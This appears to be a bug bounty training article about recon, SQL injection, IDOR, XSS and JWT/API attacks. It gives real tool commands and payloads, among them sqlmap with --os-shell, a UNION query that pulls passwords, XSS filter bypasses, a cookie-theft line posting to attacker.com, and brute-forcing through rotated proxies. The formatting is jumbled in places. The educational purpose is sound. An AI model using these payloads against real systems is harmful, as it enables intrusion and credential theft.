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Introduction:
Bug bounty hunting has evolved from a niche hobby into a critical cybersecurity discipline where researchers earn rewards for uncovering vulnerabilities before malicious actors exploit them. Even a “small bounty” acknowledgment, as shared by a security researcher, represents a validated security flaw that could have led to data breaches or system compromise. This article dissects the technical methodologies behind successful bug hunting, from reconnaissance to responsible disclosure, and provides actionable training pathways for aspiring researchers.
Learning Objectives:
- Master reconnaissance techniques using open-source intelligence (OSINT) and automated tooling.
- Identify common web vulnerabilities (XSS, SQLi, IDOR) and API security misconfigurations.
- Apply mitigation strategies and write proof-of-concept (PoC) exploits for bug bounty reports.
You Should Know:
1. Reconnaissance & Subdomain Enumeration
Start with passive and active recon to expand your attack surface. Use tools like amass, subfinder, and `nmap` to discover hidden endpoints. The goal is to map every asset belonging to the target.
Linux Commands:
Passive subdomain enumeration subfinder -d target.com -o subs.txt Active brute-force with common wordlist amass enum -d target.com -wordlist /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt Nmap service discovery on alive hosts nmap -iL alive_hosts.txt -sV -p- -oA full_scan
Windows PowerShell alternative:
DNS brute-force using Resolve-DnsName
Get-Content subdomains.txt | ForEach-Object { Resolve-DnsName "$_.target.com" -ErrorAction SilentlyContinue }
Step‑by‑step guide:
- Obtain explicit permission or test on authorized bug bounty programs (HackerOne, Bugcrowd).
2. Run passive enumeration first to avoid detection.
- Verify live hosts using `httpx` or
curl -I. - Catalog all domains, IP ranges, and cloud assets (AWS S3 buckets, Azure storage).
2. Web Vulnerability Detection: SQL Injection
SQL injection remains a top payout vector. Automate detection with `sqlmap` but understand manual testing first.
Manual test example (login form):
Username: admin' OR '1'='1' -- Password: anything
Using sqlmap safely:
Basic GET parameter test sqlmap -u "https://target.com/page?id=1" --dbs --batch POST request with cookie auth sqlmap -u "https://target.com/login" --data "user=admin&pass=test" --cookie="PHPSESSID=abc123" --os-shell
Step‑by‑step guide:
- Identify user input points (URL params, form fields, headers).
- Inject single quote (
') and observe error messages – database errors indicate potential SQLi. - Confirm with time-based payload: `sleep(5)` in MySQL or `WAITFOR DELAY ‘0:0:5’` in MSSQL.
- Use sqlmap with `–level=2 –risk=2` for deeper scanning.
- Extract database names, tables, then sensitive data only for PoC – never download production data.
Windows (curl) test:
curl -X POST "https://target.com/api/search" -d "query=' UNION SELECT null,username,password FROM users--"
- Insecure Direct Object References (IDOR) & API Hardening
IDOR occurs when an application exposes internal object IDs (e.g., user_id=123) without access control. Attackers change the ID to access unauthorized data.
Example vulnerable API endpoint:
GET /api/invoice/1001 -> returns invoice for user A Change to /api/invoice/1002 -> if returns invoice for user B, IDOR exists.
Automating IDOR discovery with Burp Suite:
- Capture request with parameter like
id,uid,file. - Send to Intruder, set payload position on the numeric ID.
- Use sequential numbers (1-1000) and compare response lengths.
Cloud hardening for IDOR prevention:
- Use UUIDs instead of sequential integers.
- Implement server-side authorization middleware.
- For AWS API Gateway + Lambda, validate JWT claims against requested resource.
Linux command to test multiple IDs quickly:
for i in {1..100}; do curl -s "https://target.com/api/user/$i/profile" | grep -i "unauthorized|forbidden" || echo "Potential IDOR at $i"; done
4. Cross-Site Scripting (XSS) – Reflected & Stored
XSS allows JavaScript injection that executes in another user’s browser. Stored XSS is critical for bounties.
Basic payload to test reflected XSS:
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
Bypassing filters (encoded or nested):
< svg/onload=alert``> <a href="javascript:alert(1)">click</a>
Step‑by‑step guide to exploit and mitigate:
- Input fuzzing: submit payloads into search boxes, comment fields, URL parameters.
- Check if output is reflected unescaped in HTML or JavaScript context.
- For stored XSS, inject into profiles, forums, or message boards.
- Proof-of-concept: show cookie stealing (
document.location='https://attacker.com/steal?cookie='+document.cookie). - Mitigation: output encoding, Content Security Policy (CSP), and HttpOnly flags.
Windows server mitigation (IIS):
Add CSP header via IIS URL Rewrite
Add-WebConfigurationProperty -Filter "system.webServer/httpProtocol" -Name customHeaders -Value @{name='Content-Security-Policy';value="default-src 'self'; script-src 'none'"}
- API Security Testing – Rate Limiting & JWT Weaknesses
APIs are prime targets. Test for rate limiting bypass, JWT alg=none, and excessive data exposure.
JWT attack with `jwt_tool`:
Test for alg=none python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ -X a Crack weak secret python3 jwt_tool.py <JWT> -C -d rockyou.txt
Rate limiting bypass using IP rotation (proxychains):
Install proxychains, set up proxy list proxychains python3 api_bruteforce.py -u https://api.target.com/login -w passwords.txt
Cloud hardening (AWS WAF):
- Configure rate-based rules: 100 requests per 5 minutes per IP.
- Use API Gateway usage plans with throttling.
- Implement JWT with strong secrets (HS512) or RS256.
6. Training & Certification Roadmap for Bug Hunters
To consistently earn bounties, structured learning is essential. Recommended free and paid resources:
Free training:
- PortSwigger Web Security Academy (interactive labs on all vulnerability types)
- Hacker101 (by HackerOne, video lessons + CTF)
- OWASP Top 10 (documentation and cheat sheets)
Certifications:
- eJPT (eLearnSecurity Junior Penetration Tester) – practical exam
- PNPT (Practical Network Penetration Tester) – real-world simulation
- OSWE (Offensive Security Web Expert) – advanced whitebox
Linux lab setup (Kali VM):
sudo apt update && sudo apt install kali-linux-headless git clone https://github.com/swisskyrepo/PayloadsAllTheThings
Step‑by‑step weekly study plan:
- Day 1-2: Recon (subfinder, amass, httpx, nuclei templates)
- Day 3-4: OWASP Top 10 (XSS, SQLi, IDOR, SSRF)
- Day 5-6: API security (Postman, Burp Suite, GraphQL introspection)
- Day 7: Write reports on disclosed vulnerabilities (read HackerOne disclosure reports)
What Undercode Say:
- Key Takeaway 1: Even “small bounties” validate critical security flaws; systematic recon and persistence pay off more than luck.
- Key Takeaway 2: Automation (sqlmap, nuclei) accelerates discovery, but manual chaining of low-severity issues often leads to critical findings.
Bug hunting is not just about running scanners – it’s about understanding application logic and thinking like an adversary. The researcher who shared “One more small bounty” likely spent hours mapping the target, testing edge cases, and documenting a clear PoC. Reputation matters as much as technical skill; professional reports get paid faster. Start with public bug bounty programs, respect scope, and never test without authorization. As APIs and cloud services dominate, learning GraphQL, serverless misconfigurations, and OAuth flows will separate top hunters from the rest. Mitigation skills are equally valuable – many hunters transition to defensive roles after mastering offensive tactics.
Prediction:
By 2027, AI-assisted bug hunting will automate low‑hanging fruits (XSS, SQLi), forcing researchers to focus on business logic flaws, race conditions, and zero‑day chains. Platforms will implement dynamic scoping and real‑time payout adjustments based on asset criticality. Simultaneously, bug bounty crowdsourcing will expand to industrial control systems (ICS) and AI model security (prompt injection, training data extraction), with bounties exceeding $500,000 for critical vulnerabilities in large language models. Researchers who combine traditional web security with AI red‑teaming will dominate the next wave of payouts.
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Reported By: Aditya Singh4180 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
